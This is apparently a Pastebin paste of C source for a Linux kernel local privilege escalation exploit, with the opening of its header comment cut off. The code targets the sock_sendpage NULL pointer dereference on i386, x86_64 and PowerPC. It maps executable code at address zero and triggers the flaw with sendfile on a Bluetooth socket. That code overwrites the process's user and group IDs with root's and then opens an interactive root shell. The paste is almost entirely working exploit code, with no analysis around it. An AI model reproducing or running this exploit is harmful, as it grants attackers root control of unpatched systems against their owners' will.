Advertisement
cp-pum4

Untitled

Apr 11th, 2012
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.39 KB | None | 0 0
  1. *
  2. * For i386 and ppc, compile with the following command:
  3. * gcc -Wall -o linux-sendpage linux-sendpage.c
  4. *
  5. * And for x86_64 and ppc64:
  6. * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
  7. *
  8. * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
  9. * [2] http://kbase.redhat.com/faq/docs/DOC-18042
  10. * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
  11. * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <sys/mman.h>
  18. #include <sys/sendfile.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <unistd.h>
  22.  
  23. #if !defined(__always_inline)
  24. #define __always_inline inline __attribute__((always_inline))
  25. #endif
  26.  
  27. #if defined(__i386__) || defined(__x86_64__)
  28. #if defined(__LP64__)
  29. static __always_inline unsigned long
  30. current_stack_pointer(void)
  31. {
  32. unsigned long sp;
  33.  
  34. asm volatile ("movq %%rsp,%0; " : "=r" (sp));
  35.  
  36. return sp;
  37. }
  38.  
  39. #else
  40. static __always_inline unsigned long
  41. current_stack_pointer(void)
  42. {
  43. unsigned long sp;
  44.  
  45. asm volatile ("movl %%esp,%0" : "=r" (sp));
  46.  
  47. return sp;
  48. }
  49.  
  50. #endif
  51.  
  52. #elif defined(__powerpc__) || defined(__powerpc64__)
  53. static __always_inline unsigned long
  54. current_stack_pointer(void)
  55. {
  56. unsigned long sp;
  57.  
  58. asm volatile ("mr %0,%%r1; " : "=r" (sp));
  59.  
  60. return sp;
  61. }
  62.  
  63. #endif
  64.  
  65. #if defined(__i386__) || defined(__x86_64__)
  66. #if defined(__LP64__)
  67. static __always_inline unsigned long
  68. current_task_struct(void)
  69. {
  70. unsigned long task_struct;
  71.  
  72. asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
  73.  
  74. return task_struct;
  75. }
  76.  
  77. #else
  78. #define TASK_RUNNING 0
  79.  
  80. static __always_inline unsigned long
  81. current_task_struct(void)
  82. {
  83. unsigned long task_struct, thread_info;
  84.  
  85. thread_info = current_stack_pointer() & ~(4096 - 1);
  86.  
  87. if (*(unsigned long *)thread_info >= 0xc0000000) {
  88. task_struct = *(unsigned long *)thread_info;
  89.  
  90. /*
  91. * The TASK_RUNNING is the only possible state for a process executing
  92. * in user-space.
  93. */
  94. if (*(unsigned long *)task_struct == TASK_RUNNING)
  95. return task_struct;
  96. }
  97.  
  98. /*
  99. * Prior to the 2.6 and 2.6.18-30* kernel series, the task_struct was stored at the end
  100. * of the kernel stack.
  101. */
  102. task_struct = current_stack_pointer() & ~(8192 - 1);
  103.  
  104. if (*(unsigned long *)task_struct == TASK_RUNNING)
  105. return task_struct;
  106.  
  107. thread_info = task_struct;
  108.  
  109. task_struct = *(unsigned long *)thread_info;
  110.  
  111. if (*(unsigned long *)task_struct == TASK_RUNNING)
  112. return task_struct;
  113.  
  114. return -1;
  115. }
  116.  
  117. #endif
  118.  
  119. #elif defined(__powerpc__) || defined(__powerpc64__)
  120. #define TASK_RUNNING 0
  121.  
  122. static __always_inline unsigned long
  123. current_task_struct(void)
  124. {
  125. unsigned long task_struct, thread_info;
  126.  
  127. #if defined(__LP64__)
  128. task_struct = current_stack_pointer() & ~(16384 - 1);
  129.  
  130. #else
  131. task_struct = current_stack_pointer() & ~(8192 - 1);
  132.  
  133. #endif
  134.  
  135. if (*(unsigned long *)task_struct == TASK_RUNNING)
  136. return task_struct;
  137.  
  138. thread_info = task_struct;
  139.  
  140. task_struct = *(unsigned long *)thread_info;
  141.  
  142. if (*(unsigned long *)task_struct == TASK_RUNNING)
  143. return task_struct;
  144.  
  145. return -1;
  146. }
  147.  
  148. #endif
  149.  
  150. #if defined(__i386__) || defined(__x86_64__)
  151. static unsigned long uid, gid;
  152.  
  153. static int
  154. change_cred(void)
  155. {
  156. unsigned int *task_struct;
  157.  
  158. task_struct = (unsigned int *)current_task_struct();
  159.  
  160. while (task_struct) {
  161. if (task_struct[0] == uid && task_struct[1] == uid &&
  162. task_struct[2] == uid && task_struct[3] == uid &&
  163. task_struct[4] == gid && task_struct[5] == gid &&
  164. task_struct[6] == gid && task_struct[7] == gid) {
  165. task_struct[0] = task_struct[1] =
  166. task_struct[2] = task_struct[3] =
  167. task_struct[4] = task_struct[5] =
  168. task_struct[6] = task_struct[7] = 0;
  169. break;
  170. }
  171.  
  172. task_struct++;
  173. }
  174.  
  175. return -1;
  176. }
  177.  
  178. #elif defined(__powerpc__) || defined(__powerpc64__)
  179. static int
  180. change_cred(void)
  181. {
  182. unsigned int *task_struct;
  183.  
  184. task_struct = (unsigned int *)current_task_struct();
  185.  
  186. while (task_struct) {
  187. if (!task_struct[0]) {
  188. task_struct++;
  189. continue;
  190. }
  191.  
  192. if (task_struct[0] == task_struct[1] &&
  193. task_struct[0] == task_struct[2] &&
  194. task_struct[0] == task_struct[3] &&
  195. task_struct[4] == task_struct[5] &&
  196. task_struct[4] == task_struct[6] &&
  197. task_struct[4] == task_struct[7]) {
  198. task_struct[0] = task_struct[1] =
  199. task_struct[2] = task_struct[3] =
  200. task_struct[4] = task_struct[5] =
  201. task_struct[6] = task_struct[7] = 0;
  202. break;
  203. }
  204.  
  205. task_struct++;
  206. }
  207.  
  208. return -1;
  209. }
  210.  
  211. #endif
  212.  
  213. #define PAGE_SIZE getpagesize()
  214.  
  215. int
  216. main(void)
  217. {
  218. char *addr;
  219. int out_fd, in_fd;
  220. char template[] = "/tmp/tmp.XXXXXX";
  221.  
  222. #if defined(__i386__) || defined(__x86_64__)
  223. uid = getuid(), gid = getgid();
  224.  
  225. #endif
  226.  
  227. if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
  228. MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  229. perror("mmap");
  230. exit(EXIT_FAILURE);
  231. }
  232.  
  233. #if defined(__i386__) || defined(__x86_64__)
  234. #if defined(__LP64__)
  235. addr[0] = '\xff';
  236. addr[1] = '\x24';
  237. addr[2] = '\x25';
  238. *(unsigned long *)&addr[3] = 8;
  239. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  240.  
  241. #else
  242. addr[0] = '\xff';
  243. addr[1] = '\x25';
  244. *(unsigned long *)&addr[2] = 8;
  245. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  246.  
  247. #endif
  248.  
  249. #elif defined(__powerpc__) || defined(__powerpc64__)
  250. #if defined(__LP64__)
  251. /*
  252. * The use of function descriptors by the Power 64-bit ELF ABI requires
  253. * the use of a fake function descriptor.
  254. */
  255. *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
  256.  
  257. #else
  258. addr[0] = '\x3f';
  259. addr[1] = '\xe0';
  260. *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
  261. addr[4] = '\x63';
  262. addr[5] = '\xff';
  263. *(unsigned short *)&addr[6] = (unsigned short)change_cred;
  264. addr[8] = '\x7f';
  265. addr[9] = '\xe9';
  266. addr[10] = '\x03';
  267. addr[11] = '\xa6';
  268. addr[12] = '\x4e';
  269. addr[13] = '\x80';
  270. addr[14] = '\x04';
  271. addr[15] = '\x20';
  272.  
  273. #endif
  274.  
  275. #endif
  276.  
  277. if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
  278. perror("socket");
  279. exit(EXIT_FAILURE);
  280. }
  281.  
  282. if ((in_fd = mkstemp(template)) == -1) {
  283. perror("mkstemp");
  284. exit(EXIT_FAILURE);
  285. }
  286.  
  287. if(unlink(template) == -1) {
  288. perror("unlink");
  289. exit(EXIT_FAILURE);
  290. }
  291.  
  292. if (ftruncate(in_fd, PAGE_SIZE) == -1) {
  293. perror("ftruncate");
  294. exit(EXIT_FAILURE);
  295. }
  296.  
  297. sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
  298.  
  299. execl("/bin/sh", "sh", "-i", NULL);
  300.  
  301. exit(EXIT_SUCCESS);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement